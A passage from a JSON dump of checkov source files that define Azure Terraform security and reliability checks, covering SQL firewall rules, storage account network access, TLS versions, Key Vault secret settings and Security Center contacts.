    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass RedisCacheStandardReplicationEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        With Standard Replication, Azure Cache for Redis has a high availability architecture\n        that ensures your managed instance is functioning, even when outages affect\n        the underlying virtual machines (VMs). Whether the outage is planned or unplanned outages,\n        Azure Cache for Redis delivers greater percentage availability rates than what's attainable\n        by hosting Redis on a single VM.\n\n        An Azure Cache for Redis in the applicable tiers runs on a pair of Redis servers by default.\n        The two servers are hosted on dedicated VMs.\n        Open-source Redis allows only one server to handle data write requests.\n        \"\"\"\n        name = \"Standard Replication should be enabled\"\n        id = \"CKV_AZURE_230\"\n        supported_resources = (\"azurerm_redis_cache\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"sku_name\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [\"Standard\", \"Premium\"]\n\n\ncheck = RedisCacheStandardReplicationEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLDatabaseLedgerEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Ledger helps protect data from any attacker or high-privileged user, including database administrators (DBAs),\n        system administrators, and cloud administrators. As with a traditional ledger, the feature preserves\n        historical data.\n        If a row is updated in the database, its previous value is maintained and protected\n        in a history table. Ledger provides a chronicle of all changes made to the database over time.\n        Ledger and the historical data are managed transparently, offering protection without any application changes.\n        The feature maintains historical data in a relational form to support SQL queries for auditing,\n        forensics, and other purposes.\n        It provides guarantees of cryptographic data integrity while maintaining the power, flexibility,\n        and performance of the SQL database.\n\n        Note that:\n        - Ledger needs to be enabled at the deployment of the database and can't be removed once enabled\n        - Ledger may come with performance impact, which means that it is advise to closely monitor\n          the database performance in order to ensure that the database meets the performance objectives\n        - Ledger comes with an additional cost, due to the data being stored\n\n        \"\"\"\n        name = \"Ensure that the Ledger feature is enabled on database that \"\n        name += \"requires cryptographic proof and nonrepudiation of data integrity\"\n        id = \"CKV_AZURE_224\"\n        supported_resources = (\"azurerm_mssql_database\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"ledger_enabled\"\n\n\ncheck = SQLDatabaseLedgerEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLDatabaseZoneRedundant(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        This is a best practise which helps to:\n        - Improved High Availability: Zone redundancy ensures that your database is replicated\n          across Availability Zones within an Azure region. If one Availability Zone experiences an outage,\n          your database continues to operate from the other zones, minimizing downtime.\n        - Reduced Maintenance Downtime: Zone-redundant configurations often require\n          less planned maintenance downtime because updates and patches can be applied to\n          one zone at a time while the other zones continue to serve traffic.\n        - Improved Scalability: Zone-redundant configurations are designed to scale with your workload.\n          You can take advantage of features like Hyperscale to dynamically adjust resources based on\n          your database's performance needs.\n        - Improved SLA: Azure SQL Database zone-redundant configurations typically offer\n          a higher service-level agreement (SLA) for availability compared to non-zone-redundant configurations.\n\n        However, it's critical to note that:\n        Note that:\n        - Zone-redundant availability is available to databases in the\n          General Purpose, Premium, Business Critical and Hyperscale service tiers of the vCore purchasing model,\n          and not the Basic and Standard service tiers of the DTU-based purchasing model.\n        - This may not be required for:\n           - Databases that supports applications which doesn't a high maturity in terms of \"High Availability\"\n           - Databases that are very sensitive to network latency that may increase the transaction commit time,\n             and thus impact the performance of some OLTP workloads.\n        \"\"\"\n        name = \"Ensure the Azure SQL Database Namespace is zone redundant\"\n        id = \"CKV_AZURE_229\"\n        supported_resources = (\"azurerm_mssql_database\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"zone_redundant\"\n\n\ncheck = SQLDatabaseZoneRedundant()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SQLServerEmailAlertsEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Send Alerts To' is enabled for MSSQL servers\"\n        id = \"CKV_AZURE_26\"\n        supported_resources = ['azurerm_mssql_server_security_alert_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'email_addresses'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SQLServerEmailAlertsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLServerEmailAlertsToAdminsEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers\"\n        id = \"CKV_AZURE_27\"\n        supported_resources = ['azurerm_mssql_server_security_alert_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'email_account_admins'\n\n\ncheck = SQLServerEmailAlertsToAdminsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLServerNoPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nimport re\n\nPORT_RANGE = re.compile(r'\\d+-\\d+')\n\n\nclass SQLServerNoPublicAccess(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure no SQL Databases allow ingress from 0.0.0.0/0 (ANY IP)\"\n        id = \"CKV_AZURE_11\"\n        supported_resources = (\n            'azurerm_mariadb_firewall_rule',\n            'azurerm_sql_firewall_rule',\n            'azurerm_postgresql_firewall_rule',\n            'azurerm_mysql_firewall_rule',\n            'azurerm_mysql_flexible_server_firewall_rule',\n            'azurerm_mssql_firewall_rule',\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        self.evaluated_keys = ['start_ip_address']\n        if 'end_ip_address' in conf:\n            self.evaluated_keys.append('end_ip_address')\n        if ('start_ip_address' in conf and conf['start_ip_address'][0] in ('0.0.0.0', '0.0.0.0/0') and  # nosec\n                'end_ip_address' in conf and conf['end_ip_address'][0] == '255.255.255.255'):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = SQLServerNoPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SQLServerHasPublicAccessDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that SQL server disables public network access\"\n        id = \"CKV_AZURE_113\"\n        supported_resources = ['azurerm_mssql_server']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self):\n        return 'public_network_access_enabled'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = SQLServerHasPublicAccessDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom typing import List\n\n\nclass SQLServerThreatDetectionTypes(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that 'Threat Detection types' is set to 'All'\"\n        id = \"CKV_AZURE_25\"\n        supported_resources = ['azurerm_mssql_server_security_alert_policy']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'disabled_alerts' in conf and any(conf['disabled_alerts'][0]):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['disabled_alerts']\n\n\ncheck = SQLServerThreatDetectionTypes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecretContentType.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecretContentType(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that key vault secrets have \\\"content_type\\\" set\"\n        id = \"CKV_AZURE_114\"\n        supported_resources = ['azurerm_key_vault_secret']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'content_type'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SecretContentType()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecretExpirationDate.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecretExpirationDate(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that the expiration date is set on all secrets\"\n        id = \"CKV_AZURE_41\"\n        supported_resources = ['azurerm_key_vault_secret']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'expiration_date'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SecretExpirationDate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SecurityCenterContactPhone(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Send email notification for high severity alerts' is set to 'On'\"\n        id = \"CKV_AZURE_21\"\n        supported_resources = ['azurerm_security_center_contact']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'alert_notifications'\n\n\ncheck = SecurityCenterContactPhone()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SecurityCenterEmailAlertAdmins(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Send email notification for high severity alerts' is set to 'On'\"\n        id = \"CKV_AZURE_22\"\n        supported_resources = ['azurerm_security_center_contact']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'alerts_to_admins'\n\n\ncheck = SecurityCenterEmailAlertAdmins()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecurityCenterContactEmails(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Security contact emails' is set\"\n        id = \"CKV_AZURE_131\"\n        supported_resources = ['azurerm_security_center_contact']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"email\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SecurityCenterContactEmails()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass SecurityCenterContactPhone(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that security contact 'Phone number' is set\"\n        id = \"CKV_AZURE_20\"\n        supported_resources = ['azurerm_security_center_contact']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'phone'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = SecurityCenterContactPhone()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SecurityCenterStandardPricing(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that standard pricing tier is selected\"\n        id = \"CKV_AZURE_19\"\n        supported_resources = ['azurerm_security_center_subscription_pricing']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'tier'\n\n    def get_expected_value(self):\n        return 'Standard'\n\n\ncheck = SecurityCenterStandardPricing()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SignalRSKUSLA.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SignalRSJUSLA(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that SignalR uses a Paid Sku for its SLA\"\n        id = \"CKV_AZURE_196\"\n        supported_resources = (\"azurerm_signalr_service\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"sku/[0]/name\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"Free_F1\"]\n\n\ncheck = SignalRSJUSLA()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SpringCloudAPIPortalHTTPSOnly(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensures Spring Cloud API Portal is enabled on for HTTPS\"\n        id = \"CKV_AZURE_161\"\n        supported_resources = (\"azurerm_spring_cloud_api_portal\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"https_only_enabled\"\n\n\ncheck = SpringCloudAPIPortalHTTPSOnly()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py",
    "content": "from typing import List, Any\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SpringCloudAPIPortalPublicAccessIsDisabled(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensures Spring Cloud API Portal Public Access Is Disabled\"\n        id = \"CKV_AZURE_162\"\n        supported_resources = ['azurerm_spring_cloud_api_portal']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"public_network_access_enabled\"\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = SpringCloudAPIPortalPublicAccessIsDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass StorageAccountAzureServicesAccessEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure 'Trusted Microsoft Services' is enabled for Storage Account access\"\n        id = \"CKV_AZURE_36\"\n        supported_resources = ['azurerm_storage_account', 'azurerm_storage_account_network_rules']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        network_conf = [conf]\n        evaluated_key_prefix = ''\n        if 'network_rules' in conf:\n            network_conf = conf['network_rules']\n            self.evaluated_keys = ['network_rules']\n            evaluated_key_prefix = 'network_rules/[0]/'\n        if 'default_action' in network_conf[0]:\n            # A required field in network rules, hence if dont exist there are no network rules and Azure services\n            # have access --> Pass\n            if network_conf[0]['default_action'][0] == 'Allow':\n                self.evaluated_keys = [f'{evaluated_key_prefix}default_action']\n                return CheckResult.PASSED\n            elif network_conf[0].get('bypass'):\n                self.evaluated_keys = [f'{evaluated_key_prefix}bypass']\n                if 'AzureServices' in network_conf[0]['bypass'][0]:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = StorageAccountAzureServicesAccessEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass StorageAccountDefaultNetworkAccessDeny(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure default network access rule for Storage Accounts is set to deny\"\n        id = \"CKV_AZURE_35\"\n        supported_resources = ['azurerm_storage_account', 'azurerm_storage_account_network_rules']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        Ensures a storage account is not widely accessible by default, using the default action in network rules\n        configuration.\n        Network Rules can be defined either directly on the azurerm_storage_account resource,\n        or using the azurerm_storage_account_network_rules resource. If the latter is used, the check is skipped for\n        the azurerm_storage_account resource (which would return as failed).\n\n        :param default_action:\n        :return: Check Result\n        \"\"\"\n        network_conf = [conf]\n        evaluated_key_prefix = ''\n        if 'network_rules' in conf:\n            network_conf = conf['network_rules']\n            self.evaluated_keys = ['network_rules']\n            evaluated_key_prefix = 'network_rules/[0]/'\n        if 'default_action' in network_conf[0]:\n            self.evaluated_keys = [f'{evaluated_key_prefix}default_action']\n            if network_conf[0]['default_action'][0] == 'Deny':\n                return CheckResult.PASSED\n            return CheckResult.FAILED\n\n        # missing block is valid for storage accounts but not azurerm_storage_account_network_rules\n        return CheckResult.UNKNOWN\n\n\ncheck = StorageAccountDefaultNetworkAccessDeny()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountDisablePublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass StorageAccountDisablePublicAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Storage accounts disallow public access\"\n        id = \"CKV_AZURE_59\"\n        supported_resources = (\"azurerm_storage_account\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"public_network_access_enabled\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = StorageAccountDisablePublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass StorageAccountLoggingQueueServiceEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Storage logging is enabled for Queue service for read, write and delete requests\"\n        id = \"CKV_AZURE_33\"\n        supported_resources = ['azurerm_storage_account']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['account_kind']\n        if 'account_kind' in conf and (conf['account_kind'][0] != 'Storage' and conf['account_kind'][0] != 'StorageV2'):\n            # queue_properties block doesn't apply for other account kind\n            return CheckResult.PASSED\n        if 'queue_properties' in conf and 'logging' in conf['queue_properties'][0]:\n            logging = conf['queue_properties'][0]['logging'][0]\n            logging_evaluated_key = 'queue_properties/[0]/logging/[0]'\n            self.evaluated_keys = [logging_evaluated_key]\n            delete_value = logging.get('delete', [False])[0]\n            write_value = logging.get('write', [False])[0]\n            read_value = logging.get('read', [False])[0]\n            if delete_value and write_value and read_value:\n                self.evaluated_keys = [f'{logging_evaluated_key}/delete',\n                                       f'{logging_evaluated_key}/write',\n                                       f'{logging_evaluated_key}/read']\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = StorageAccountLoggingQueueServiceEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountMinimumTlsVersion.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass StorageAccountMinimumTlsVersion(BaseResourceCheck):\n    \"\"\"\n        Looks for min_tls_version configuration at azurerm_storage_account to be set to TLS1_2\n        https://www.terraform.io/docs/providers/azurerm/r/storage_account.html#min_tls_version\n        :param conf: azurerm_storage_account configuration\n        :return: <CheckResult>\n    \"\"\"\n    def __init__(self):\n        name = \"Ensure Storage Account is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_44\"\n        supported_resources = ['azurerm_storage_account']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'min_tls_version' in conf and conf['min_tls_version'][0] in ['TLS1_2', 'TLS1_3']:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['min_tls_version']\n\n\ncheck = StorageAccountMinimumTlsVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountName.py",
    "content": "import re\nfrom typing import List, Dict, Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\nSTO_NAME_REGEX = re.compile(r\"^[a-z0-9]{3,24}$\")\nVARIABLE_REFS = (\"local.\", \"module.\", \"var.\", \"random_string.\", \"random_id.\", \"random_integer.\", \"random_pet.\",\n                 \"azurecaf_name\", \"each.\")\n\n\nclass StorageAccountName(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Storage Accounts adhere to the naming rules\"\n        id = \"CKV_AZURE_43\"\n        supported_resources = [\"azurerm_storage_account\"]\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        \"\"\"\n            The Storage Account naming reference:\n            https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts\n        :param conf: azurerm_storage_account configuration\n        :return: <CheckResult>\n        \"\"\"\n        name = conf.get(\"name\")\n        if name:\n            name = str(name[0])\n            if any(x in name for x in VARIABLE_REFS):\n                # in the case we couldn't evaluate the name, just ignore\n                return CheckResult.UNKNOWN\n            if re.findall(STO_NAME_REGEX, str(conf[\"name\"][0])):\n                return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"name\"]\n\n\ncheck = StorageAccountName()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountsTransportEncryption.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass StorageAccountsTransportEncryption(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'enable_https_traffic_only' is enabled\"\n        id = \"CKV_AZURE_3\"\n        supported_resources = (\"azurerm_storage_account\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"enable_https_traffic_only\"\n\n\ncheck = StorageAccountsTransportEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any, List\n\n\nclass StorageAccountsUseReplication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Storage Accounts use replication\"\n        id = \"CKV_AZURE_206\"\n        supported_resources = (\"azurerm_storage_account\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"account_replication_type\"\n\n    def get_expected_value(self) -> Any:\n        return \"GRS\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"GRS\", \"RAGRS\", \"GZRS\", \"RAGZRS\"]\n\n\ncheck = StorageAccountsUseReplication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass StorageBlobRestrictPublicAccess(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Storage blobs restrict public access\"\n        id = \"CKV_AZURE_190\"\n        supported_resources = (\"azurerm_storage_account\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"allow_nested_items_to_be_public\"\n\n    def get_expected_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = StorageBlobRestrictPublicAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass StorageBlobServiceContainerPrivateAccess(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure that 'Public access level' is set to Private for blob containers\"\n        id = \"CKV_AZURE_34\"\n        supported_resources = ['azurerm_storage_container']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self):\n        return 'container_access_type/[0]'\n\n    def get_expected_value(self):\n        return 'private'\n\n\ncheck = StorageBlobServiceContainerPrivateAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageLocalUsers.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass StorageLocalUsers(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Avoid the use of local users for Azure Storage unless necessary\"\n        id = \"CKV_AZURE_244\"\n        supported_resources = ('azurerm_storage_account',)\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict) -> CheckResult:\n        # If local_user_enabled is explicitly True, return the default check result\n        local_user_enabled = conf.get(\"local_user_enabled\")\n        if local_user_enabled is not None or local_user_enabled:\n            return super().scan_resource_conf(conf)\n\n        # Else only check if SFTP is enabled, which requires is_hns_enabled to exist and be True\n        hns_enabled = conf.get(\"is_hns_enabled\")\n        if hns_enabled is None or not hns_enabled:\n            return CheckResult.PASSED\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return 'local_user_enabled'\n\n    def get_expected_value(self) -> bool:\n        return False\n\n\ncheck = StorageLocalUsers()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py",
